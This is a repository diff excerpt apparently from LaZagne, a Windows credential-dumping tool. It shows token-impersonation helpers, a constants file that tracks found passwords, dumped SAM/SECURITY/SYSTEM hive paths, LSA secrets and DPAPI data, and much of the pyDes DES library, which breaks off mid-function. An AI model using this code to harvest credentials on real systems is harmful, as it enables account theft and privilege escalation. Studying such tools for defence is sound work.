if hTokendupe:
|
||||
if close:
|
||||
CloseHandle(hTokendupe)
|
||||
return hTokendupe
|
||||
return False
|
||||
|
||||
|
||||
global_ref = None
|
||||
|
||||
|
||||
def impersonate_sid_long_handle(*args, **kwargs):
|
||||
"""
|
||||
Try to impersonate an SID
|
||||
"""
|
||||
global global_ref
|
||||
hTokendupe = impersonate_sid(*args, **kwargs)
|
||||
if not hTokendupe:
|
||||
return False
|
||||
|
||||
if global_ref:
|
||||
CloseHandle(global_ref)
|
||||
|
||||
global_ref = hTokendupe
|
||||
return addressof(hTokendupe)
|
||||
|
||||
|
||||
def impersonate_token(hToken):
|
||||
"""
|
||||
Impersonate token - Need admin privilege
|
||||
"""
|
||||
if get_debug_privilege():
|
||||
hTokendupe = HANDLE(INVALID_HANDLE_VALUE)
|
||||
if hTokendupe:
|
||||
SecurityImpersonation = 2
|
||||
TokenPrimary = 1
|
||||
if DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref(hTokendupe)):
|
||||
CloseHandle(hToken)
|
||||
if ImpersonateLoggedOnUser(hTokendupe):
|
||||
return hTokendupe
|
||||
else:
|
||||
print_debug('DEBUG', 'Get debug privilege failed')
|
||||
return False
|
||||
|
||||
|
||||
def rev2self():
|
||||
"""
|
||||
Back to previous token priv
|
||||
"""
|
||||
global global_ref
|
||||
RevertToSelf()
|
||||
try:
|
||||
if global_ref:
|
||||
CloseHandle(global_ref)
|
||||
except Exception:
|
||||
pass
|
||||
global_ref = None
|
61
lazagne/config/constant.py
Normal file
61
lazagne/config/constant.py
Normal file
@ -0,0 +1,61 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import tempfile
|
||||
import random
|
||||
import string
|
||||
import time
|
||||
import os
|
||||
|
||||
date = time.strftime("%d%m%Y_%H%M%S")
|
||||
tmp = tempfile.gettempdir()
|
||||
|
||||
|
||||
class constant():
|
||||
folder_name = '.'
|
||||
file_name_results = 'credentials_{current_time}'.format(
|
||||
current_time=date
|
||||
) # The extension is added depending on the user output choice
|
||||
max_help = 27
|
||||
CURRENT_VERSION = '2.4.4'
|
||||
output = None
|
||||
modules_dic = {}
|
||||
nb_password_found = 0 # Total password found
|
||||
password_found = [] # Tab containing all passwords used for dictionary attack
|
||||
stdout_result = [] # Tab containing all results by user
|
||||
pypykatz_result = {}
|
||||
finalResults = {}
|
||||
profile = {
|
||||
'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\',
|
||||
'USERPROFILE': u'{drive}:\\Users\\{user}\\',
|
||||
'HOMEDRIVE': u'{drive}:',
|
||||
'HOMEPATH': u'{drive}:\\Users\\{user}',
|
||||
'ALLUSERSPROFILE': u'{drive}:\\ProgramData',
|
||||
'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\',
|
||||
'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local',
|
||||
}
|
||||
username = u''
|
||||
keepass = {}
|
||||
hives = {
|
||||
'sam': os.path.join(
|
||||
tmp,
|
||||
''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])),
|
||||
'security': os.path.join(
|
||||
tmp,
|
||||
''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])),
|
||||
'system': os.path.join(
|
||||
tmp,
|
||||
''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))]))
|
||||
}
|
||||
quiet_mode = False
|
||||
st = None # Standard output
|
||||
drive = u'C'
|
||||
user_dpapi = None
|
||||
system_dpapi = None
|
||||
lsa_secrets = None
|
||||
is_current_user = False # If True, Windows API are used otherwise dpapi is used
|
||||
user_password = None
|
||||
wifi_password = False # Check if the module as already be done
|
||||
module_to_exec_at_end = {
|
||||
"winapi": [],
|
||||
"dpapi": [],
|
||||
}
|
||||
dpapi_cache = {}
|
0
lazagne/config/crypto/__init__.py
Normal file
0
lazagne/config/crypto/__init__.py
Normal file
BIN
lazagne/config/crypto/__pycache__/__init__.cpython-37.pyc
Normal file
BIN
lazagne/config/crypto/__pycache__/__init__.cpython-37.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/__pycache__/__init__.cpython-38.pyc
Normal file
BIN
lazagne/config/crypto/__pycache__/__init__.cpython-38.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/__pycache__/__init__.cpython-39.pyc
Normal file
BIN
lazagne/config/crypto/__pycache__/__init__.cpython-39.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/__pycache__/pyDes.cpython-37.pyc
Normal file
BIN
lazagne/config/crypto/__pycache__/pyDes.cpython-37.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/__pycache__/pyDes.cpython-38.pyc
Normal file
BIN
lazagne/config/crypto/__pycache__/pyDes.cpython-38.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/__pycache__/pyDes.cpython-39.pyc
Normal file
BIN
lazagne/config/crypto/__pycache__/pyDes.cpython-39.pyc
Normal file
Binary file not shown.
BIN
lazagne/config/crypto/__pycache__/rc4.cpython-38.pyc
Normal file
BIN
lazagne/config/crypto/__pycache__/rc4.cpython-38.pyc
Normal file
Binary file not shown.
852
lazagne/config/crypto/pyDes.py
Normal file
852
lazagne/config/crypto/pyDes.py
Normal file
@ -0,0 +1,852 @@
|
||||
#############################################################################
|
||||
# Documentation #
|
||||
#############################################################################
|
||||
|
||||
# Author: Todd Whiteman
|
||||
# Date: 28th April, 2010
|
||||
# Version: 2.0.1
|
||||
# License: MIT
|
||||
# Homepage: http://twhiteman.netfirms.com/des.html
|
||||
#
|
||||
# This is a pure python implementation of the DES encryption algorithm.
|
||||
# It's pure python to avoid portability issues, since most DES
|
||||
# implementations are programmed in C (for performance reasons).
|
||||
#
|
||||
# Triple DES class is also implemented, utilizing the DES base. Triple DES
|
||||
# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
|
||||
#
|
||||
# See the README.txt that should come with this python module for the
|
||||
# implementation methods used.
|
||||
#
|
||||
# Thanks to:
|
||||
# * David Broadwell for ideas, comments and suggestions.
|
||||
# * Mario Wolff for pointing out and debugging some triple des CBC errors.
|
||||
# * Santiago Palladino for providing the PKCS5 padding technique.
|
||||
# * Shaya for correcting the PAD_PKCS5 triple des CBC errors.
|
||||
#
|
||||
"""A pure python implementation of the DES and TRIPLE DES encryption algorithms.
|
||||
|
||||
Class initialization
|
||||
--------------------
|
||||
pyDes.des(key, [mode], [IV], [pad], [padmode])
|
||||
pyDes.triple_des(key, [mode], [IV], [pad], [padmode])
|
||||
|
||||
key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes
|
||||
for Triple DES
|
||||
mode -> Optional argument for encryption type, can be either
|
||||
pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
|
||||
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
|
||||
Length must be 8 bytes.
|
||||
pad -> Optional argument, set the pad character (PAD_NORMAL) to use during
|
||||
all encrypt/decrypt operations done with this instance.
|
||||
padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)
|
||||
to use during all encrypt/decrypt operations done with this instance.
|
||||
|
||||
I recommend to use PAD_PKCS5 padding, as then you never need to worry about any
|
||||
padding issues, as the padding can be removed unambiguously upon decrypting
|
||||
data that was encrypted using PAD_PKCS5 padmode.
|
||||
|
||||
Common methods
|
||||
--------------
|
||||
encrypt(data, [pad], [padmode])
|
||||
decrypt(data, [pad], [padmode])
|
||||
|
||||
data -> Bytes to be encrypted/decrypted
|
||||
pad -> Optional argument. Only when using padmode of PAD_NORMAL. For
|
||||
encryption, adds this characters to the end of the data block when
|
||||
data is not a multiple of 8 bytes. For decryption, will remove the
|
||||
trailing characters that match this pad character from the last 8
|
||||
bytes of the unencrypted data block.
|
||||
padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
|
||||
or PAD_PKCS5). Defaults to PAD_NORMAL.
|
||||
|
||||
|
||||
Example
|
||||
-------
|
||||
from pyDes import *
|
||||
|
||||
data = "Please encrypt my data"
|
||||
k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
|
||||
# For Python3, you'll need to use bytes, i.e.:
|
||||
# data = b"Please encrypt my data"
|
||||
# k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
|
||||
d = k.encrypt(data)
|
||||
print "Encrypted: %r" % d
|
||||
print "Decrypted: %r" % k.decrypt(d)
|
||||
assert k.decrypt(d, padmode=PAD_PKCS5) == data
|
||||
|
||||
|
||||
See the module source (pyDes.py) for more examples of use.
|
||||
You can also run the pyDes.py file without and arguments to see a simple test.
|
||||
|
||||
Note: This code was not written for high-end systems needing a fast
|
||||
implementation, but rather a handy portable solution with small usage.
|
||||
|
||||
"""
|
||||
|
||||
import sys
|
||||
|
||||
# _pythonMajorVersion is used to handle Python2 and Python3 differences.
|
||||
_pythonMajorVersion = sys.version_info[0]
|
||||
|
||||
# Modes of crypting / cyphering
|
||||
ECB = 0
|
||||
CBC = 1
|
||||
|
||||
# Modes of padding
|
||||
PAD_NORMAL = 1
|
||||
PAD_PKCS5 = 2
|
||||
|
||||
# PAD_PKCS5: is a method that will unambiguously remove all padding
|
||||
# characters after decryption, when originally encrypted with
|
||||
# this padding mode.
|
||||
# For a good description of the PKCS5 padding technique, see:
|
||||
# http://www.faqs.org/rfcs/rfc1423.html
|
||||
|
||||
# The base class shared by des and triple des.
|
||||
class _baseDes(object):
|
||||
def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
|
||||
if IV:
|
||||
IV = self._guardAgainstUnicode(IV)
|
||||
if pad:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
self.block_size = 8
|
||||
# Sanity checking of arguments.
|
||||
if pad and padmode == PAD_PKCS5:
|
||||
raise ValueError("Cannot use a pad character with PAD_PKCS5")
|
||||
if IV and len(IV) != self.block_size:
|
||||
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
|
||||
|
||||
# Set the passed in variables
|
||||
self._mode = mode
|
||||
self._iv = IV
|
||||
self._padding = pad
|
||||
self._padmode = padmode
|
||||
|
||||
def getKey(self):
|
||||
"""getKey() -> bytes"""
|
||||
return self.__key
|
||||
|
||||
def setKey(self, key):
|
||||
"""Will set the crypting key for this object."""
|
||||
key = self._guardAgainstUnicode(key)
|
||||
self.__key = key
|
||||
|
||||
def getMode(self):
|
||||
"""getMode() -> pyDes.ECB or pyDes.CBC"""
|
||||
return self._mode
|
||||
|
||||
def setMode(self, mode):
|
||||
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
|
||||
self._mode = mode
|
||||
|
||||
def getPadding(self):
|
||||
"""getPadding() -> bytes of length 1. Padding character."""
|
||||
return self._padding
|
||||
|
||||
def setPadding(self, pad):
|
||||
"""setPadding() -> bytes of length 1. Padding character."""
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
self._padding = pad
|
||||
|
||||
def getPadMode(self):
|
||||
"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||
return self._padmode
|
||||
|
||||
def setPadMode(self, mode):
|
||||
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||
self._padmode = mode
|
||||
|
||||
def getIV(self):
|
||||
"""getIV() -> bytes"""
|
||||
return self._iv
|
||||
|
||||
def setIV(self, IV):
|
||||
"""Will set the Initial Value, used in conjunction with CBC mode"""
|
||||
if not IV or len(IV) != self.block_size:
|
||||
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
|
||||
IV = self._guardAgainstUnicode(IV)
|
||||
self._iv = IV
|
||||
|
||||
def _padData(self, data, pad, padmode):
|
||||
# Pad data depending on the mode
|
||||
if padmode is None:
|
||||
# Get the default padding mode.
|
||||
padmode = self.getPadMode()
|
||||
if pad and padmode == PAD_PKCS5:
|
||||
raise ValueError("Cannot use a pad character with PAD_PKCS5")
|
||||
|
||||
if padmode == PAD_NORMAL:
|
||||
if len(data) % self.block_size == 0:
|
||||
# No padding required.
|
||||
return data
|
||||
|
||||
if not pad:
|
||||
# Get the default padding.
|
||||
pad = self.getPadding()
|
||||
if not pad:
|
||||
raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
|
||||
data += (self.block_size - (len(data) % self.block_size)) * pad
|
||||
|
||||
elif padmode == PAD_PKCS5:
|
||||
pad_len = 8 - (len(data) % self.block_size)
|
||||
if _pythonMajorVersion < 3:
|
||||
data += pad_len * chr(pad_len)
|
||||
else:
|
||||
data += bytes([pad_len] * pad_len)
|
||||
|
||||
return data
|
||||
|
||||
def _unpadData(self, data, pad, padmode):
|
||||
# Unpad data depending on the mode.
|
||||
if not data:
|
||||
return data
|
||||
if pad and padmode == PAD_PKCS5:
|
||||
raise ValueError("Cannot use a pad character with PAD_PKCS5")
|
||||
if padmode is None:
|
||||
# Get the default padding mode.
|
||||
padmode = self.getPadMode()
|
||||
|
||||
if padmode == PAD_NORMAL:
|
||||
if not pad:
|
||||
# Get the default padding.
|
||||
pad = self.getPadding()
|
||||
if pad:
|
||||
data = data[:-self.block_size] + \
|
||||
data[-self.block_size:].rstrip(pad)
|
||||
|
||||
elif padmode == PAD_PKCS5:
|
||||
if _pythonMajorVersion < 3:
|
||||
pad_len = ord(data[-1])
|
||||
else:
|
||||
pad_len = data[-1]
|
||||
data = data[:-pad_len]
|
||||
|
||||
return data
|
||||
|
||||
def _guardAgainstUnicode(self, data):
|
||||
# Only accept byte strings or ascii unicode values, otherwise
|
||||
# there is no way to correctly decode the data into bytes.
|
||||
if _pythonMajorVersion < 3:
|
||||
if isinstance(data, unicode): # noqa
|
||||
raise ValueError("pyDes can only work with bytes, not Unicode strings.")
|
||||
else:
|
||||
if isinstance(data, str):
|
||||
# Only accept ascii unicode values.
|
||||
try:
|
||||
return data.encode('ascii')
|
||||
except UnicodeEncodeError:
|
||||
pass
|
||||
raise ValueError("pyDes can only work with encoded strings, not Unicode.")
|
||||
return data
|
||||
|
||||
#############################################################################
|
||||
# DES #
|
||||
#############################################################################
|
||||
class des(_baseDes):
|
||||
"""DES encryption/decrytpion class
|
||||
|
||||
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
|
||||
|
||||
pyDes.des(key,[mode], [IV])
|
||||
|
||||
key -> Bytes containing the encryption key, must be exactly 8 bytes
|
||||
mode -> Optional argument for encryption type, can be either pyDes.ECB
|
||||
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
|
||||
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
|
||||
Must be 8 bytes in length.
|
||||
pad -> Optional argument, set the pad character (PAD_NORMAL) to use
|
||||
during all encrypt/decrypt operations done with this instance.
|
||||
padmode -> Optional argument, set the padding mode (PAD_NORMAL or
|
||||
PAD_PKCS5) to use during all encrypt/decrypt operations done
|
||||
with this instance.
|
||||
"""
|
||||
|
||||
|
||||
# Permutation and translation tables for DES
|
||||
__pc1 = [56, 48, 40, 32, 24, 16, 8,
|
||||
0, 57, 49, 41, 33, 25, 17,
|
||||
9, 1, 58, 50, 42, 34, 26,
|
||||
18, 10, 2, 59, 51, 43, 35,
|
||||
62, 54, 46, 38, 30, 22, 14,
|
||||
6, 61, 53, 45, 37, 29, 21,
|
||||
13, 5, 60, 52, 44, 36, 28,
|
||||
20, 12, 4, 27, 19, 11, 3
|
||||
]
|
||||
|
||||
# number left rotations of pc1
|
||||
__left_rotations = [
|
||||
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
|
||||
]
|
||||
|
||||
# permuted choice key (table 2)
|
||||
__pc2 = [
|
||||
13, 16, 10, 23, 0, 4,
|
||||
2, 27, 14, 5, 20, 9,
|
||||
22, 18, 11, 3, 25, 7,
|
||||
15, 6, 26, 19, 12, 1,
|
||||
40, 51, 30, 36, 46, 54,
|
||||
29, 39, 50, 44, 32, 47,
|
||||
43, 48, 38, 55, 33, 52,
|
||||
45, 41, 49, 35, 28, 31
|
||||
]
|
||||
|
||||
# initial permutation IP
|
||||
__ip = [57, 49, 41, 33, 25, 17, 9, 1,
|
||||
59, 51, 43, 35, 27, 19, 11, 3,
|
||||
61, 53, 45, 37, 29, 21, 13, 5,
|
||||
63, 55, 47, 39, 31, 23, 15, 7,
|
||||
56, 48, 40, 32, 24, 16, 8, 0,
|
||||
58, 50, 42, 34, 26, 18, 10, 2,
|
||||
60, 52, 44, 36, 28, 20, 12, 4,
|
||||
62, 54, 46, 38, 30, 22, 14, 6
|
||||
]
|
||||
|
||||
# Expansion table for turning 32 bit blocks into 48 bits
|
||||
__expansion_table = [
|
||||
31, 0, 1, 2, 3, 4,
|
||||
3, 4, 5, 6, 7, 8,
|
||||
7, 8, 9, 10, 11, 12,
|
||||
11, 12, 13, 14, 15, 16,
|
||||
15, 16, 17, 18, 19, 20,
|
||||
19, 20, 21, 22, 23, 24,
|
||||
23, 24, 25, 26, 27, 28,
|
||||
27, 28, 29, 30, 31, 0
|
||||
]
|
||||
|
||||
# The (in)famous S-boxes
|
||||
__sbox = [
|
||||
# S1
|
||||
[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
|
||||
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
|
||||
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
|
||||
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
|
||||
|
||||
# S2
|
||||
[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
|
||||
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
|
||||
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
|
||||
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
|
||||
|
||||
# S3
|
||||
[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
|
||||
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
|
||||
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
|
||||
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
|
||||
|
||||
# S4
|
||||
[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
|
||||
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
|
||||
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
|
||||
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
|
||||
|
||||
# S5
|
||||
[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
|
||||
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
|
||||
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
|
||||
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
|
||||
|
||||
# S6
|
||||
[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
|
||||
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
|
||||
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
|
||||
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
|
||||
|
||||
# S7
|
||||
[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
|
||||
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
|
||||
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
|
||||
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
|
||||
|
||||
# S8
|
||||
[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
|
||||
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
|
||||
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
|
||||
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
|
||||
]
|
||||
|
||||
|
||||
# 32-bit permutation function P used on the output of the S-boxes
|
||||
__p = [
|
||||
15, 6, 19, 20, 28, 11,
|
||||
27, 16, 0, 14, 22, 25,
|
||||
4, 17, 30, 9, 1, 7,
|
||||
23,13, 31, 26, 2, 8,
|
||||
18, 12, 29, 5, 21, 10,
|
||||
3, 24
|
||||
]
|
||||
|
||||
# final permutation IP^-1
|
||||
__fp = [
|
||||
39, 7, 47, 15, 55, 23, 63, 31,
|
||||
38, 6, 46, 14, 54, 22, 62, 30,
|
||||
37, 5, 45, 13, 53, 21, 61, 29,
|
||||
36, 4, 44, 12, 52, 20, 60, 28,
|
||||
35, 3, 43, 11, 51, 19, 59, 27,
|
||||
34, 2, 42, 10, 50, 18, 58, 26,
|
||||
33, 1, 41, 9, 49, 17, 57, 25,
|
||||
32, 0, 40, 8, 48, 16, 56, 24
|
||||
]
|
||||
|
||||
# Type of crypting being done
|
||||
ENCRYPT = 0x00
|
||||
DECRYPT = 0x01
|
||||
|
||||
# Initialisation
|
||||
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
|
||||
# Sanity checking of arguments.
|
||||
if len(key) != 8:
|
||||
raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
|
||||
_baseDes.__init__(self, mode, IV, pad, padmode)
|
||||
self.key_size = 8
|
||||
|
||||
self.L = []
|
||||
self.R = []
|
||||
self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)
|
||||
self.final = []
|
||||
|
||||
self.setKey(key)
|
||||
|
||||
def setKey(self, key):
|
||||
"""Will set the crypting key for this object. Must be 8 bytes."""
|
||||
_baseDes.setKey(self, key)
|
||||
self.__create_sub_keys()
|
||||
|
||||
def __String_to_BitList(self, data):
|
||||
"""Turn the string data, into a list of bits (1, 0)'s"""
|
||||
if _pythonMajorVersion < 3:
|
||||
# Turn the strings into integers. Python 3 uses a bytes
|
||||
# class, which already has this behaviour.
|
||||
data = [ord(c) for c in data]
|
||||
l = len(data) * 8
|
||||
result = [0] * l
|
||||
pos = 0
|
||||
for ch in data:
|
||||
i = 7
|
||||
while i >= 0:
|
||||
if ch & (1 << i) != 0:
|
||||
result[pos] = 1
|
||||
else:
|
||||
result[pos] = 0
|
||||
pos += 1
|
||||
i -= 1
|
||||
|
||||
return result
|
||||
|
||||
def __BitList_to_String(self, data):
|
||||
"""Turn the list of bits -> data, into a string"""
|
||||
result = []
|
||||
pos = 0
|
||||
c = 0
|
||||
while pos < len(data):
|
||||
c += data[pos] << (7 - (pos % 8))
|
||||
if (pos % 8) == 7:
|
||||
result.append(c)
|
||||
c = 0
|
||||
pos += 1
|
||||
|
||||
if _pythonMajorVersion < 3:
|
||||
return ''.join([ chr(c) for c in result ])
|
||||
else:
|
||||
return bytes(result)
|
||||
|
||||
def __permutate(self, table, block):
|
||||
"""Permutate this block with the specified table"""
|
||||
return list(map(lambda x: block[x], table))
|
||||
|
||||
# Transform the secret key, so that it is ready for data processing
|
||||
# Create the 16 subkeys, K[1] - K[16]
|
||||
def __create_sub_keys(self):
|
||||
"""Create the 16 subkeys K[1] to K[16] from the given key"""
|
||||
key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
|
||||
i = 0
|
||||
# Split into Left and Right sections
|
||||
self.L = key[:28]
|
||||
self.R = key[28:]
|
||||
while i < 16:
|
||||
j = 0
|
||||
# Perform circular left shifts
|
||||
while j < des.__left_rotations[i]:
|
||||
self.L.append(self.L[0])
|
||||
del self.L[0]
|
||||
|
||||
self.R.append(self.R[0])
|
||||
del self.R[0]
|
||||
|
||||
j += 1
|
||||
|
||||
# Create one of the 16 subkeys through pc2 permutation
|
||||
self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
|
||||
|
||||
i += 1
|
||||
|
||||
# Main part of the encryption algorithm, the number cruncher :)
|
||||
def __des_crypt(self, block, crypt_type):
|
||||
"""Crypt the block of data through DES bit-manipulation"""
|
||||
block = self.__permutate(des.__ip, block)
|
||||
self.L = block[:32]
|
||||
self.R = block[32:]
|
||||
|
||||
# Encryption starts from Kn[1] through to Kn[16]
|
||||
if crypt_type == des.ENCRYPT:
|
||||
iteration = 0
|
||||
iteration_adjustment = 1
|
||||
# Decryption starts from Kn[16] down to Kn[1]
|
||||
else:
|
||||
iteration = 15
|
||||
iteration_adjustment = -1
|
||||
|
||||
i = 0
|
||||
while i < 16:
|
||||
# Make a copy of R[i-1], this will later become L[i]
|
||||
tempR = self.R[:]
|
||||
|
||||
# Permutate R[i - 1] to start creating R[i]
|
||||
self.R = self.__permutate(des.__expansion_table, self.R)
|
||||
|
||||
# Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
|
||||
self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
|
||||
B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
|
||||
# Optimization: Replaced below commented code with above
|
||||
#j = 0
|
||||
#B = []
|
||||
#while j < len(self.R):
|
||||
# self.R[j] = self.R[j] ^ self.Kn[iteration][j]
|
||||
# j += 1
|
||||
# if j % 6 == 0:
|
||||
# B.append(self.R[j-6:j])
|
||||
|
||||
# Permutate B[1] to B[8] using the S-Boxes
|
||||
j = 0
|
||||
Bn = [0] * 32
|
||||
pos = 0
|
||||
while j < 8:
|
||||
# Work out the offsets
|
||||
m = (B[j][0] << 1) + B[j][5]
|
||||
n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
|
||||
|
||||
# Find the permutation value
|
||||
v = des.__sbox[j][(m << 4) + n]
|
||||
|
||||
# Turn value into bits, add it to result: Bn
|
||||
Bn[pos] = (v & 8) >> 3
|
||||
Bn[pos + 1] = (v & 4) >> 2
|
||||
Bn[pos + 2] = (v & 2) >> 1
|
||||
Bn[pos + 3] = v & 1
|
||||
|
||||
pos += 4
|
||||
j += 1
|
||||
|
||||
# Permutate the concatination of B[1] to B[8] (Bn)
|
||||
self.R = self.__permutate(des.__p, Bn)
|
||||
|
||||
# Xor with L[i - 1]
|
||||
self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
|
||||
# Optimization: This now replaces the below commented code
|
||||
#j = 0
|
||||
#while j < len(self.R):
|
||||
# self.R[j] = self.R[j] ^ self.L[j]
|
||||
# j += 1
|
||||
|
||||
# L[i] becomes R[i - 1]
|
||||
self.L = tempR
|
||||
|
||||
i += 1
|
||||
iteration += iteration_adjustment
|
||||
|
||||
# Final permutation of R[16]L[16]
|
||||
self.final = self.__permutate(des.__fp, self.R + self.L)
|
||||
return self.final
|
||||
|
||||
|
||||
# Data to be encrypted/decrypted
|
||||
def crypt(self, data, crypt_type):
|
||||
"""Crypt the data in blocks, running it through des_crypt()"""
|
||||
|
||||
# Error check the data
|
||||
if not data:
|
||||
return ''
|
||||
if len(data) % self.block_size != 0:
|
||||
if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks
|
||||
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
|
||||
if not self.getPadding():
|
||||
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
|
||||
else:
|
||||
data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
|
||||
# print "Len of data: %f" % (len(data) / self.block_size)
|
||||
|
||||
if self.getMode() == CBC:
|
||||
if self.getIV():
|
||||
iv = self.__String_to_BitList(self.getIV())
|
||||
else:
|
||||
raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
|
||||
|
||||
# Split the data into blocks, crypting each one seperately
|
||||
i = 0
|
||||
dict = {}
|
||||
result = []
|
||||
#cached = 0
|
||||
#lines = 0
|
||||
while i < len(data):
|
||||
# Test code for caching encryption results
|
||||
#lines += 1
|
||||
#if dict.has_key(data[i:i+8]):
|
||||
#print "Cached result for: %s" % data[i:i+8]
|
||||
# cached += 1
|
||||
# result.append(dict[data[i:i+8]])
|
||||
# i += 8
|
||||
# continue
|
||||
|
||||
block = self.__String_to_BitList(data[i:i+8])
|
||||
|
||||
# Xor with IV if using CBC mode
|
||||
if self.getMode() == CBC:
|
||||
if crypt_type == des.ENCRYPT:
|
||||
block = list(map(lambda x, y: x ^ y, block, iv))
|
||||
#j = 0
|
||||
#while j < len(block):
|
||||
# block[j] = block[j] ^ iv[j]
|
||||
# j += 1
|
||||
|
||||
processed_block = self.__des_crypt(block, crypt_type)
|
||||
|
||||
if crypt_type == des.DECRYPT:
|
||||
processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
|
||||
#j = 0
|
||||
#while j < len(processed_block):
|
||||
# processed_block[j] = processed_block[j] ^ iv[j]
|
||||
# j += 1
|
||||
iv = block
|
||||
